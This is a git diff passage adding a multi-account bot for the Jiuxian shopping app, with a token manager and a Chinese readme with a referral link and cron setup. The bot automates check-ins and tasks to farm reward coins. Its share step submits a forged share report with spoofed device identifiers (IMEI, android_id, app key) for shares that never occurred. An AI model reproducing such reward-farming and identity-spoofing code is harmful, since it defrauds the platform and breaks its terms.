+ phone_tail = self.get_phone_tail()
+ print(f"❌ 分享页面访问失败 ({phone_tail}): HTTP {response.status_code}")
+ return False
+
+ print("✅ 分享页面访问成功")
+
+ # 2. 调用分享上报接口
+ print("📤 上报分享行为...")
+ share_success = self.report_share(task_url)
+ if not share_success:
+ print("❌ 分享上报失败")
+ return False
+
+ print("✅ 分享上报成功")
+
+ # 3. 提交任务完成状态
+ print("✅ 提交任务完成状态...")
+ complete_success = self.submit_task_completion(task_id, task_url)
+ if not complete_success:
+ return False
+
+ # 4. 领取金币奖励
+ print("💰 领取任务奖励...")
+ return self.receive_reward(task_id, task_name)
+
+ except Exception as e:
+ phone_tail = self.get_phone_tail()
+ print(f"❌ 分享任务异常 ({phone_tail}): {str(e)}")
+ return False
+
+ def report_share(self, task_url: str) -> bool:
+ """上报分享行为(修复编码问题)"""
+ try:
+ boundary = "d38dd6cb-be16-4e1c-91ec-44369961499f"
+ headers = {
+ "User-Agent": "Dalvik/2.1.0 (Linux; U; Android 14; M2011K2C Build/UKQ1.230804.001)",
+ "Content-Type": f"multipart/form-data; boundary={boundary}",
+ "Host": "log.umsns.com"
+ }
+
+ # 使用字典构建表单数据
+ form_fields = {
+ "de": "M2011K2C",
+ "u_sharetype": "native",
+ "opid": "9",
+ "sdkv": "7.1.6",
+ "title": "酒仙网",
+ "mac": "no mac",
+ "dt": str(int(time.time() * 1000)),
+ "uid": "a90fd0967241099b5242c9a2ea2b97efod",
+ "sn": "",
+ "pcv": "3.0",
+ "os": "Android",
+ "ek": "-1",
+ "os_version": "14",
+ "en": "Wi-Fi",
+ "ak": "51ff1ac356240b6fb20a2156",
+ "url": task_url,
+ "ct": "酒等你来,发现一个超级好的活动,赶快买买买!",
+ "ftype": "0",
+ "imei": "a7204ced77696f16",
+ "sns": '{"qq":""}',
+ "furl": "http://m.jiuxian.com/mobile/android/update/picture/icon_launcher_new.png",
+ "to": '{"qq":""}',
+ "android_id": "2185ce8ea28df6ab",
+ "tp": "1",
+ "dc": "com.umeng.share"
+ }
+
+ # 自动生成multipart格式,使用UTF-8编码
+ form_data = ""
+ for name, value in form_fields.items():
+ form_data += f"""--{boundary}
+Content-Disposition: form-data; name="{name}"
+Content-Type: text/plain; charset=UTF-8
+
+{value}
+"""
+ form_data += f"--{boundary}--"
+
+ # 显式使用UTF-8编码
+ response = self.session.post(
+ JiuxianConfig.SHARE_REPORT_URL,
+ data=form_data.encode('utf-8'),
+ headers=headers,
+ timeout=30
+ )
+
+ if response.status_code == 200:
+ result = response.json()
+ if result.get("st") == 200:
+ return True
+ print(f"❌ 分享上报失败: {response.text}")
+ return False
+
+ except Exception as e:
+ print(f"❌ 分享上报异常: {str(e)}")
+ return False
+
+ def submit_task_completion(self, task_id: int, task_url: str) -> bool:
+ """提交任务完成状态(浏览和分享任务共用)"""
+ try:
+ headers = {
+ "User-Agent": "Mozilla/5.0 (Linux; Android 14; M2011K2C Build/UKQ1.230804.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/139.0.7258.158 Mobile Safari/537.36 jiuxianApp/9.2.13 from/ANDROID suptwebp/1 netEnv/wifi oadzApp lati/null long/null shopId/ areaId/500",
+ "Cookie": f"token={self.token}",
+ "Referer": task_url,
+ "X-Requested-With": "XMLHttpRequest",
+ "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
+ }
+
+ data = {
+ "taskId": str(task_id),
+ "taskToken": self.task_token
+ }
+
+ response = self.session.post(
+ JiuxianConfig.TASK_COMPLETE_URL,
+ data=data,
+ headers=headers,
+ timeout=30
+ )
+
+ if response.status_code == 200:
+ result = response.json()
+ if result.get("code") == 1:
+ return True
+ else:
+ phone_tail = self.get_phone_tail()
+ print(f"❌ 任务完成提交失败 ({phone_tail}): {result.get('msg', '未知错误')}")
+ else:
+ phone_tail = self.get_phone_tail()
+ print(f"❌ 任务完成提交请求失败 ({phone_tail}): HTTP {response.status_code}")
+ return False
+
+ except Exception as e:
+ phone_tail = self.get_phone_tail()
+ print(f"❌ 任务完成提交异常 ({phone_tail}): {str(e)}")
+ return False
+
+ def receive_reward(self, task_id: int, task_name: str) -> bool:
+ """领取任务奖励"""
+ try:
+ params = JiuxianConfig.DEVICE_INFO.copy()
+ params["token"] = self.token
+ params["appKey"] = JiuxianConfig.APP_KEY
+ params["taskId"] = str(task_id)
+
+ response = self.session.get(
+ JiuxianConfig.RECEIVE_REWARD_URL,
+ params=params,
+ headers=JiuxianConfig.HEADERS,
+ timeout=30
+ )
+
+ if response.status_code == 200:
+ result = response.json()
+ if result.get("success") == "1":
+ reward_data = result["result"]
+ gold_num = reward_data.get("goldNum", 0)
+ phone_tail = self.get_phone_tail()
+ print(f"🎉 任务 '{task_name}' 完成 ({phone_tail}),获得 {gold_num} 金币")
+ return True
+ else:
+ phone_tail = self.get_phone_tail()
+ print(f"❌ 领取奖励失败 ({phone_tail}): {result.get('errMsg', '未知错误')}")
+ return False
+ else:
+ phone_tail = self.get_phone_tail()
+ print(f"❌ 领取奖励请求失败 ({phone_tail}): HTTP {response.status_code}")
+ return False
+
+ except Exception as e:
+ phone_tail = self.get_phone_tail()
+ print(f"❌ 领取奖励异常 ({phone_tail}): {str(e)}")
+ return False
+
+ def run_all_tasks(self) -> Dict:
+ """执行所有任务"""
+ result = {
+ "username": self.username,
+ "phone_tail": self.get_phone_tail(),
+ "nickname": self.nickname,
+ "login_success": False,
+ "login_type": "unknown",
+ "check_in": {"success": False, "message": ""},
+ "tasks": [],
+ "member_info": {},
+ "today_gold": 0, # 今日获得金币
+ "total_gold": 0 # 总金币数
+ }
+
+ # 智能登录
+ login_success = self.smart_login()
+ if login_success:
+ result["login_success"] = True
+ result["nickname"] = self.nickname
+ if self.token and not self.username:
+ result["login_type"] = "direct_token"
+ else:
+ result["login_type"] = "token" if hasattr(self, 'token') and self.token else "password"
+ else:
+ result["login_success"] = False
+ return result
+
+ # 获取会员信息(只获取一次!)
+ member_info = self.get_member_info()
+ if not member_info:
+ return result
+
+ result["member_info"] = {
+ "gold_money": member_info.get("goldMoney", 0),
+ "is_sign_today": member_info.get("isSignTody", False),
+ "sign_days": member_info.get("signDays", 0),
+ "user_rank": member_info.get("userRank", "")
+ }
+ result["total_gold"] = member_info.get("goldMoney", 0)
+
+ # 确保taskToken已正确设置
+ if not self.task_token:
+ phone_tail = self.get_phone_tail()
+ print(f"❌ 未获取到taskToken ({phone_tail}),无法执行任务")
+ return result
+
+ print(f"🔑 使用taskToken: {self.task_token}")
+
+ # 处理签到(只有在未签到时才执行)
+ if not member_info.get("isSignTody"):
+ print("📅 执行签到...")
+ check_in_success, check_in_msg = self.check_in()
+ result["check_in"] = {"success": check_in_success, "message": check_in_msg}
+ # 如果签到成功,从消息中提取金币数
+ if check_in_success and "获得" in check_in_msg:
+ try:
+ gold_str = check_in_msg.split("获得")[1].split("金币")[0]
+ result["today_gold"] += int(gold_str)
+ except:
+ pass
+ time.sleep(random.randint(2, 4))
+ else:
+ result["check_in"] = {"success": True, "message": "今日已签到"}
+ print("📅 今日已签到,跳过签到")
+
+ # 处理任务
+ task_channel = member_info.get("taskChannel", {})
+ task_list = task_channel.get("taskList", [])
+
+ for task in task_list:
+ task_result = {
+ "id": task["id"],
+ "name": task["taskName"],
+ "type": task["taskType"],
+ "state": task["state"],
+ "gold_num": task.get("goldNum", 0),
+ "completed": False
+ }
+
+ # state: 0-未完成, 1-已完成未领取, 2-已完成已领取
+ if task["state"] == 0: # 未完成的任务
+ if task["taskType"] == 1: # 浏览任务
+ task_result["completed"] = self.complete_browse_task(task)
+ elif task["taskType"] == 2: # 分享任务
+ task_result["completed"] = self.complete_share_task(task)
+
+ # 如果任务完成,累加金币
+ if task_result["completed"]:
+ result["today_gold"] += task_result["gold_num"]
+
+ result["tasks"].append(task_result)
+
+ # 任务间短暂间隔
+ time.sleep(random.randint(2, 4))
+
+ return result
+
+def send_pushplus_notification(token: str, title: str, content: str) -> bool:
+ """发送PushPlus推送通知"""
+ try:
+ if not token:
+ print("❌ PushPlus Token未设置,跳过推送")
+ return False
+
+ url = "https://www.pushplus.plus/send"
+ data = {
+ "token": token,
+ "title": title,
+ "content": content,
+ "template": "markdown"
+ }
+
+ response = requests.post(url, json=data, timeout=30)
+ if response.status_code == 200:
+ result = response.json()
+ if result.get("code") == 200:
+ print("✅ PushPlus推送发送成功")
+ return True
+ else:
+ print(f"❌ PushPlus推送失败: {result.get('msg', '未知错误')}")
+ return False
+ else:
+ print(f"❌ PushPlus推送请求失败: HTTP {response.status_code}")
+ return False
+ except Exception as e:
+ print(f"❌ PushPlus推送异常: {str(e)}")
+ return False
+
+def generate_markdown_report(all_results: List[Dict]) -> str:
+ """生成Markdown格式的报告"""
+ # 统计信息
+ total_users = len(all_results)
+ success_login_count = sum(1 for r in all_results if r["login_success"])
+ success_checkin_count = sum(1 for r in all_results if r.get("check_in", {}).get("success", False))
+ total_today_gold = sum(r.get("today_gold", 0) for r in all_results)
+ total_gold = sum(r.get("total_gold", 0) for r in all_results)
+
+ # 构建Markdown内容
+ content = f"""# 🍷 酒仙网任务执行报告
+
+## 📊 统计概览
+
+| 项目 | 数值 |
+|------|------|
+| 👥 用户总数 | {total_users} |
+| ✅ 登录成功 | {success_login_count} |
+| 📅 签到成功 | {success_checkin_count} |
+| 🎯 今日获得金币 | {total_today_gold} |
+| 💰 总金币数 | {total_gold} |
+
+## 👤 用户详情
+
+| 手机尾号 | 签到状态 | 任务状态 | 今日金币 | 总金币 |
+|----------|----------|----------|----------|--------|
+"""
+
+ # 添加每个用户的详情
+ for result in all_results:
+ phone_tail = result.get("phone_tail", "****")
+ nickname = result.get("nickname", "未知用户")
+
+ # 签到状态
+ check_in = result.get("check_in", {})
+ if check_in.get("success"):
+ sign_status = "✅ 成功"
+ else:
+ sign_status = "❌ 失败"
+
+ # 任务状态
+ tasks = result.get("tasks", [])
+ completed_tasks = sum(1 for t in tasks if t.get("completed", False))
+ total_tasks = len(tasks)
+ task_status = f"{completed_tasks}/{total_tasks}"
+
+ # 金币信息
+ today_gold = result.get("today_gold", 0)
+ total_gold_user = result.get("total_gold", 0)
+
+ content += f"| {phone_tail} ({nickname}) | {sign_status} | {task_status} | {today_gold} | {total_gold_user} |\n"
+
+ # 添加执行时间
+ exec_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
+ content += f"\n---\n**🕐 执行时间**: {exec_time}\n"
+
+ return content
+
+def main():
+ """主函数"""
+ # 获取环境变量
+ accounts_str = os.getenv("jiuxian", "")
+ tokens_str = os.getenv("JX_TOKENS", "")
+ pushplus_token = os.getenv("PUSHPLUS_TOKEN", "")
+
+ if not accounts_str and not tokens_str:
+ print("❌ 未找到账号配置,请检查环境变量 jiuxian 或 JX_TOKENS")
+ return
+
+ all_accounts = []
+
+ # 解析账号密码
+ if accounts_str:
+ for line in accounts_str.strip().split('\n'):
+ if '#' in line:
+ username, password = line.split('#', 1)
+ all_accounts.append(("account", username.strip(), password.strip()))
+
+ # 解析Token
+ if tokens_str:
+ for line in tokens_str.strip().split('\n'):
+ token = line.strip()
+ if token:
+ all_accounts.append(("token", None, token))
+
+ if not all_accounts:
+ print("❌ 未找到有效的账号配置")
+ return
+
+ print(f"🔍 找到 {len(all_accounts)} 个账号配置,开始执行任务...")
+
+ all_results = []
+
+ # 遍历所有账号执行任务
+ for i, (account_type, username, credential) in enumerate(all_accounts, 1):
+ print(f"\n{'='*50}")
+ phone_tail = "****" if not username else f"******{username[-4:]}" if len(username) >= 4 else "****"
+ print(f"🔄 开始处理账号 {i}: {phone_tail}")
+
+ if account_type == "account":
+ jiuxian = Jiuxian(username=username, password=credential)
+ else:
+ jiuxian = Jiuxian(token=credential)
+
+ result = jiuxian.run_all_tasks()
+ all_results.append(result)
+
+ print(f"✅ 账号 {i} 处理完成")
+ time.sleep(random.randint(3, 5)) # 账号间间隔
+
+ # 生成简单报告
+ print("\n" + "="*50)
+ print("📋 任务执行完成报告:")
+ success_count = sum(1 for r in all_results if r["login_success"])
+ print(f"✅ 成功执行: {success_count}/{len(all_accounts)} 个账号")
+
+ for i, result in enumerate(all_results, 1):
+ if result["login_success"]:
+ completed_tasks = sum(1 for t in result["tasks"] if t["completed"])
+ total_tasks = len(result["tasks"])
+ login_type = result.get('login_type', 'unknown')
+ phone_tail = result.get('phone_tail', '****')
+ print(f"账号 {i}: {result['nickname']} ({phone_tail}) - 完成任务: {completed_tasks}/{total_tasks}")
+
+ # 发送PushPlus推送
+ if pushplus_token:
+ print("\n📤 正在发送PushPlus推送通知...")
+ markdown_content = generate_markdown_report(all_results)
+ title = f"🍷 酒仙网任务报告 - {success_count}/{len(all_accounts)}成功"
+ send_pushplus_notification(pushplus_token, title, markdown_content)
+ else:
+ print("\n⚠️ 未设置PUSHPLUS_TOKEN环境变量,跳过推送")
+
+if __name__ == "__main__":
+ main()
\ No newline at end of file
diff --git a/酒仙账密版/token_manager.py b/酒仙账密版/token_manager.py
new file mode 100644
index 0000000..7444ffe
--- /dev/null
+++ b/酒仙账密版/token_manager.py
@@ -0,0 +1,51 @@
+import json
+import os
+from typing import Dict, Optional
+
+class TokenManager:
+ def __init__(self, token_file: str):
+ self.token_file = token_file
+ self.tokens = self._load_tokens()
+
+ def _load_tokens(self) -> Dict:
+ """从文件加载Token数据"""
+ try:
+ if os.path.exists(self.token_file):
+ with open(self.token_file, 'r', encoding='utf-8') as f:
+ return json.load(f)
+ except Exception as e:
+ print(f"❌ 加载Token文件失败: {e}")
+ return {}
+
+ def _save_tokens(self):
+ """保存Token数据到文件"""
+ try:
+ os.makedirs(os.path.dirname(self.token_file), exist_ok=True)
+ with open(self.token_file, 'w', encoding='utf-8') as f:
+ json.dump(self.tokens, f, ensure_ascii=False, indent=2)
+ except Exception as e:
+ print(f"❌ 保存Token文件失败: {e}")
+
+ def get_token(self, username: str) -> Optional[Dict]:
+ """获取指定账号的Token信息"""
+ return self.tokens.get(username)
+
+ def save_token(self, username: str, token_data: Dict):
+ """保存账号的Token信息"""
+ self.tokens[username] = {
+ "token": token_data.get("token"),
+ "uid": token_data.get("uid"),
+ "nickname": token_data.get("nickname"),
+ "update_time": token_data.get("update_time")
+ }
+ self._save_tokens()
+
+ def delete_token(self, username: str):
+ """删除账号的Token信息"""
+ if username in self.tokens:
+ del self.tokens[username]
+ self._save_tokens()
+
+ def is_token_valid(self, username: str) -> bool:
+ """检查Token是否有效"""
+ return username in self.tokens and self.tokens[username].get("token")
\ No newline at end of file
diff --git a/酒仙账密版/说明.txt b/酒仙账密版/说明.txt
new file mode 100644
index 0000000..7e43d89
--- /dev/null
+++ b/酒仙账密版/说明.txt
@@ -0,0 +1,146 @@
+邀请推广入口(咱俩各得1000积分!!)
+https://img.meituan.net/portalweb/ba0be8b7b52975047a38682ec3070172251739.jpg
+操作步骤:
+
+打开上方链接
+
+截图保存二维码
+
+微信扫码参与活动
+
+点击“立即领取“获得1000积分!!
+
+
+!!!请勿在0-1点之间运行!!!
+定时规则:(每天上午9点10分运行)
+10 9 * * *
+
+脚本特色
+· 自动完成每日签到 + 3个浏览任务
+· 支持多账号批量运行
+· 同时支持账号密码登录和Token登录
+· 支持PushPlus微信推送通知
+· 平均每日可获得约100金币
+
+
+配置说明:
+
+方式一:账号密码登录(多用户换行分割)
+变量名:jiuxian
+格式:
+手机号#密码
+13800138000#123456
+13900139000#abcdef
+
+注意:如使用账号密码登录,请先在App或微信小程序中修改为自定义密码
+
+
+
+
+
+方式二:Token登录(抓包微信小程序)(之前抓包的可以直接用,变量名也不用改)
+变量名:JX_TOKENS
+获取方式:
+抓包域名:https://newappuser.jiuxian.com/
+
+在请求参数中查找token值
+
+格式:
+token1
+token2
+token3
+
+
+推送通知(可选)
+变量名:PUSHPLUS_TOKEN
+在 PushPlus官网 获取Token,用于接收运行结果推送
+通知效果展示(测试2个抓包,3个账密登录的都正常。任务显示0是因为今天测试太多次都做完了)
+[img]https://img.meituan.net/portalweb/90e6ae964d32a53ba5e50cf43d65ba3b241586.png[/img]
+
+[img]https://img.meituan.net/portalweb/631393743b31b47397308a6d4a7dbe6339174.png[/img]
+
+每日任务清单:
+· 每日签到 [正常] - 10-70金币,连续签到奖励更高
+· 浏览任务1 [正常] - 20金币,自动完成
+· 浏览任务2 [正常] - 20金币,自动完成
+· 浏览任务3 [正常] - 20金币,自动完成
+· 分享任务 [待完善] - 100金币,需要手动完成(运行分享任务时会报错,无视即可)
+
+收益估算:
+· 基础收益:每日约70-120金币
+· 连续签到:每周额外奖励
+· 月累计:约3000金币
+
+积分兑换
+
+兑换内容:
+· 多种实物商品
+[img]https://img.meituan.net/portalweb/6f739481b30ec3979b37bc172210d3ad883968.jpg[/img]
+
+
+
+
+积分规则:
+· 有效期:当年积分次年年底失效
+· 清空机制:注意及时使用
+
+
+#####################################################################
+本脚本采用三层架构设计,请下载以下3个文件并放在同一文件夹中:
+
+├── jiuxian_config.py # 配置层 - 管理应用配置、API接口和设备信息
+├── jiuxian账密版.py # 业务逻辑层 - 主要的业务逻辑和任务执行流程
+└── token_manager.py # 数据持久层 - 负责Token数据的存储和管理
+
+使用步骤:
+
+将三个文件下载到同一文件夹
+
+配置环境变量(jiuxian 或 JX_TOKENS)
+
+运行主程序:task jiuxian账密版.py
+
+
+
+####################################################################
+
+
+
+
+
+
+-----------------------------------------------------------
+
+免责声明
+
+· 本脚本仅供学习交流使用,不得用于商业用途
+· 使用者应对自己的行为负责,脚本作者不承担任何法律责任
+· 请合理使用脚本,遵守相关平台规则
+· 禁止将脚本用于任何违法违纪行为
+· 如遇平台规则变更,请及时停止使用
+· 下载或使用即代表同意以上声明
+
+使用建议
+
+· 建议设置合理的执行频率,避免对服务器造成压力
+· 妥善保管账号信息,注意账号安全
+· 关注平台规则变化,及时调整使用方式
+· 如发现异常,请立即停止使用
+
+风险提示
+
+· 使用自动化脚本可能存在账号风险
+· 请根据自身情况谨慎使用
+· 如不确定是否合规,建议手动操作
+------------------------------------------------------------
+
+
+
+
+
+
+
+
+
+
+